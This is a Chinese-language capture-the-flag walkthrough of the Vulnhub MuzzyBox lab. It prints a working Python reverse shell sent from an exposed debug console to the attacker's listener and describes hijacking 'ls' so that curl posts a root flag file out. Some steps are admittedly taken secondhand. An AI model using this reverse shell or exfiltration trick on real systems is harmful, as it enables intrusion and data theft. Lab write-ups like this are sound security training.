Vulnhub:MuzzyBox:1
描述:I have created this amazing CTF for pentester. However, This is not like other CTF which has been using common exploits and tools. Instead, you will learn about Real-world website testing methodology, advance injections and more.
下载地址:https://download.vulnhub.com/muzzybox/muzzybox.zip
运行环境:靶机(VirtualBox) 攻击机:Kali(VMware)
1、信息收集
靶机ip:192.168.1.108
sudo netdiscover #发现主机
探测端口和服务
sudo nmap -sS -sV -O -p- -A 192.168.1.108
打开192.168.1.108:80发现存在index.txt,其中有三个挑战任务。
挑战1:
华盛顿州立大学为学生建立了一个在线图书馆。只有“委托人”才是“授权人”。
你能绕过他们的逻辑吗??
链接:http://192.168.1.108:3000/
链接:http://192.168.1.108:9633/idcard.png
这里我们能够明确我们应该是一个绕过数据库的限制进行上传,最后还提到了注意不能直接上传,需要用您的名称编辑并上传它的屏幕截图。
192.168.1.108:9633/idcard.png
将这个idcard下载至我们的主机
curl 192.168.1.108:9633/idcard.png --output idcard.png
我们将这个图片文件放在windos中用图形工具进行修改。
将修改过的图片复制回kali中进行上传,成功上传。
挑战二
在数据泄露之后,大学开发了新的网站,但不知何故它仍在维护中。你能列出当前目录并读取标志文件吗。
链接:192.168.1.108:8989
我们进入到链接后发现是python 的错误页面。我们仔细发现,这个的后面有一个控制台的按钮,我们点击一下回出现让我们输入密码,这个密码就是挑战一中的那串数字。
在这里我们可以使用python进行正向连接,并且用nc进行监听。
nc -lvp 8578
import socket,subprocess,os
>>> s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
>>> s.connect(("192.168.1.107",8578))
>>> os.dup2(s.fileno(),0)
>>> os.dup2(s.fileno(),1)
>>> os.dup2(s.fileno(),2)
>>> p = subprocess.call(["/bin/sh","-i"])
输入id
查看flag
挑战3
系统受损后,根用户将使用“bash ls”和“sudo ls”命令审核web服务器文件和目录。你能用带外技术得到/root/Final_Flag.txt文件吗??
链接:Link: http://192.168.1.108:15000/page?name=muzzy
这里我们借助Tplmap - 扫描服务器端模板注入漏洞的开源工具
git clone https://github.com/epinna/tplmap #将Tplmap工具下载至我们的主机
特别注意,因为这个工具是用python去写的,新版的kali中没有自带pip库,我们用下面的方法去安装pip库
sudo wget https://bootstrap.pypa.io/get-pip.py
sudo python3 get-pip.py
sudo pip3 -V
我这里不知道什么原因python运行不起来,但是通过网上的资料继续往下做吧,通过用nsctf用户名和iamnsce密码登录ssh进行连接。
第三个开头已经说了,让我们获得/root/final_flag.txt,我们再次启动nc进行侦听,用nano编辑ls命令,使用curl来创建一个post请求,从而来监听到结果。
熬了半宿终于把这个靶机弄完了,陆续我还不停的写vulnhub的靶机,希望我们可以一起学习,一起讨论,上面如果有什么问题希望大家可以帮我提出了,纠正我,可以加我的wechat:18944630819,邮箱:982511854@qq.com
最后一个遗留问题
我的那个python运行为什么一直出错,谁能告诉我以下,我也已经安装了pip,而且下载了pyyaml,但是还是报错。